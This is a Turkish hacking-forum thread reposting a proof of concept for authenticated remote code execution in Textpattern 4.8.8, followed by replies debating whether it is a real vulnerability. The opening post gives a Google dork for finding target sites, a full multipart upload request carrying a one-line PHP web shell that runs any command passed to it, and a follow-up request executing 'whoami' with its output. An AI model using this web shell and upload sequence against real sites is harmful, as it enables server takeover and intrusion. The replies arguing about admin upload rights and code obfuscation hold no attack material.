Textpattern 4.8.8 - Remote Code Execution (RCE) (Authenticated)

mrxc

Katılımcı Üye
24 Eyl 2016
692
18
osmanlı
Kod:
# Exploit Title: Textpattern 4.8.8 - Remote Code Execution (RCE) (Authenticated)

# Exploit Author: Alperen Ergel

# Contact: @alpernae (IG/TW)

# Software Homepage: https://textpattern.com/

# Version : 4.8.8

# Tested on: windows 11 xammp | Kali linux

# Category: WebApp

# Google Dork: intext:"Published with Textpattern CMS"

# Date: 10/09/2022

#

######## Description ########

#

# Step 1: Login admin account and go settings of site

# Step 2: Upload a file to web site and selecet the rce.php

# Step3 : Upload your webshell that's it...

#

######## Proof of Concept ########

========>>> START REQUEST <<<=========

############# POST REQUEST (FILE UPLOAD) ############################## (1)

POST /textpattern/index.php?event=file HTTP/1.1

Host: localhost

Content-Length: 1038

sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"

Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMgUEFltFdqBVvdJu

X-Requested-With: XMLHttpRequest

sec-ch-ua-mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36

sec-ch-ua-platform: "Windows"

Origin: http://localhost

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost/textpattern/index.php?event=file

Accept-Encoding: gzip, deflate

Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: txp_login=admin%2C94d754006b895d61d9ce16cf55165bbf; txp_login_public=4353608be0admin

Connection: close

------WebKitFormBoundaryMgUEFltFdqBVvdJu

Content-Disposition: form-data; name="fileInputOrder"

1/1

------WebKitFormBoundaryMgUEFltFdqBVvdJu

Content-Disposition: form-data; name="app_mode"

async

------WebKitFormBoundaryMgUEFltFdqBVvdJu

Content-Disposition: form-data; name="MAX_FILE_SIZE"

2000000

------WebKitFormBoundaryMgUEFltFdqBVvdJu

Content-Disposition: form-data; name="event"

file

------WebKitFormBoundaryMgUEFltFdqBVvdJu

Content-Disposition: form-data; name="step"

file_insert

------WebKitFormBoundaryMgUEFltFdqBVvdJu

Content-Disposition: form-data; name="id"

------WebKitFormBoundaryMgUEFltFdqBVvdJu

Content-Disposition: form-data; name="_txp_token"

16ea3b64ca6379aee9599586dae73a5d

------WebKitFormBoundaryMgUEFltFdqBVvdJu

Content-Disposition: form-data; name="thefile[]"; filename="rce.php"

Content-Type: application/octet-stream

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

------WebKitFormBoundaryMgUEFltFdqBVvdJu--

############ POST RESPONSE (FILE UPLOAD) ######### (1)

HTTP/1.1 200 OK

Date: Sat, 10 Sep 2022 15:28:57 GMT

Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6

X-Powered-By: PHP/8.1.6

X-Textpattern-Runtime: 35.38 ms

X-Textpattern-Querytime: 9.55 ms

X-Textpattern-Queries: 16

X-Textpattern-Memory: 2893 kB

Content-Length: 270

Connection: close

Content-Type: text/javascript; charset=utf-8

___________________________________________________________________________________________________________________________________________________

############ REQUEST TO THE PAYLOAD ############################### (2)

GET /files/c.php?cmd=whoami HTTP/1.1

Host: localhost

sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: txp_login_public=4353608be0admin

Connection: close

############ RESPONSE THE PAYLOAD ############################### (2)

HTTP/1.1 200 OK

Date: Sat, 10 Sep 2022 15:33:06 GMT

Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6

X-Powered-By: PHP/8.1.6

Content-Length: 29

Connection: close

Content-Type: text/html; charset=UTF-8

<pre>alpernae\alperen

</pre>

========>>> END REQUEST <<<=========
 

alexandre20

Katılımcı Üye
13 Tem 2022
909
715
bu bir güvenlik açığı değil. textpattern'in doğası gereği admin olan zaten istediği gibi php yükleyebilir. Buna rce demek, gidip kendi server'ine backdoor koyup sonra o backdoor'u kullanmakla aynı şey. Admin sensin, sistem sana ait, giren sensin, kendi kendini kandırıyorsun. asıl olay 4.8.7'deki gibi xss ile yetkisi olan biri üzerinden farkettirmeden yapmak. paylaştığın PoC tam olarak bir güvenlik açığı göstermediğinden hiçbir işe yaramaz üzgünüm.
 

FAKULTE

Katılımcı Üye
27 Mar 2016
498
57
İstanbul
bu bir güvenlik açığı değil. textpattern'in doğası gereği admin olan zaten istediği gibi php yükleyebilir. Buna rce demek, gidip kendi server'ine backdoor koyup sonra o backdoor'u kullanmakla aynı şey. Admin sensin, sistem sana ait, giren sensin, kendi kendini kandırıyorsun. asıl olay 4.8.7'deki gibi xss ile yetkisi olan biri üzerinden farkettirmeden yapmak. paylaştığın PoC tam olarak bir güvenlik açığı göstermediğinden hiçbir işe yaramaz üzgünüm.
Tebrikler
 

mrxc

Katılımcı Üye
24 Eyl 2016
692
18
osmanlı
bu bir güvenlik açığı değil. textpattern'in doğası gereği admin olan zaten istediği gibi php yükleyebilir. Buna rce demek, gidip kendi server'ine backdoor koyup sonra o backdoor'u kullanmakla aynı şey. Admin sensin, sistem sana ait, giren sensin, kendi kendini kandırıyorsun. asıl olay 4.8.7'deki gibi xss ile yetkisi olan biri üzerinden farkettirmeden yapmak. paylaştığın PoC tam olarak bir güvenlik açığı göstermediğinden hiçbir işe yaramaz üzgünüm.

Sanırım çok fazla bilgin konular ile alakalı. Böyle bir fonksiyonun olması normal evet fakat eğer güvenli bir sistem yazmak istiyorsan admin dahi olsa inputtan alınan dosya back-end'de o dosya içerisinde zararlı kod var mı yok mu kontrol edilmeli. Sebebi ise sunucu güvenliği aynı sunucu içinden birden fazla host olabilir yani sadece web sitesinin kontrolümü daha güvenli yoksa tüm sunucunun mu? bu iki seçenek göz önüne alındığında bence sadece web sitesinin hacklenmesi daha mantıklı. Eğer back-end'de inputtan alınan php dosyasının içinde zararlı kod analizi yapılıp o şekilde upload edilseydi veya zararlı kod barındırıyor diyip dosyayı da kabul etmeseydi evet haklısın bir sorun yoktu.

Teşekkürler.
 
Moderatör tarafında düzenlendi:

alexandre20

Katılımcı Üye
13 Tem 2022
909
715
Sanırım çok fazla bilgin konular ile alakalı. Böyle bir fonksiyonun olması normal evet fakat eğer güvenli bir sistem yazmak istiyorsan admin dahi olsa inputtan alınan dosya back-end'de o dosya içerisinde zararlı kod var mı yok mu kontrol edilmeli. Sebebi ise sunucu güvenliği aynı sunucu içinden birden fazla host olabilir yani sadece web sitesinin kontrolümü daha güvenli yoksa tüm sunucunun mu? bu iki seçenek göz önüne alındığında bence sadece web sitesinin hacklenmesi daha mantıklı. Eğer back-end'de inputtan alınan php dosyasının içinde zararlı kod analizi yapılıp o şekilde upload edilseydi veya zararlı kod barındırıyor diyip dosyayı da kabul etmeseydi evet haklısın bir sorun yoktu.
Bu mesajla asıl senin bu konu hakkında bilgin olmadığını gösteriyorsun.

PHP'de zararlı kod analizini nasıl yapsın server? Bu nasıl bir mantık, gidip virustotal'e mi soksun php'yi ya da sandbox ortamında parametreler verip çalıştırdıktan sonra davranışını mı kontrol etsin?
Neye göre zararlı? içinde shell_exec/exec varsa engellesin mi? peki ya adam shell_exec'i gizlerse, şifreleyip falan yüklerse? Ya da require/include ile başka php loadlarsa? Onları da taramalı mı? Bu döngü uzayıp gider, sunucu php'de zararlı kod taraması yapamaz, bu imkansız. Çünkü php'deki kodu gizlemenin yüzlerce yolu var.

Eğer zararlı yazılım analizi ve kod şifreleme 'obfuscation' konuları hakkında bilgin olsaydı böyle bir çözüm önerisiyle gelmezdin ;D
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.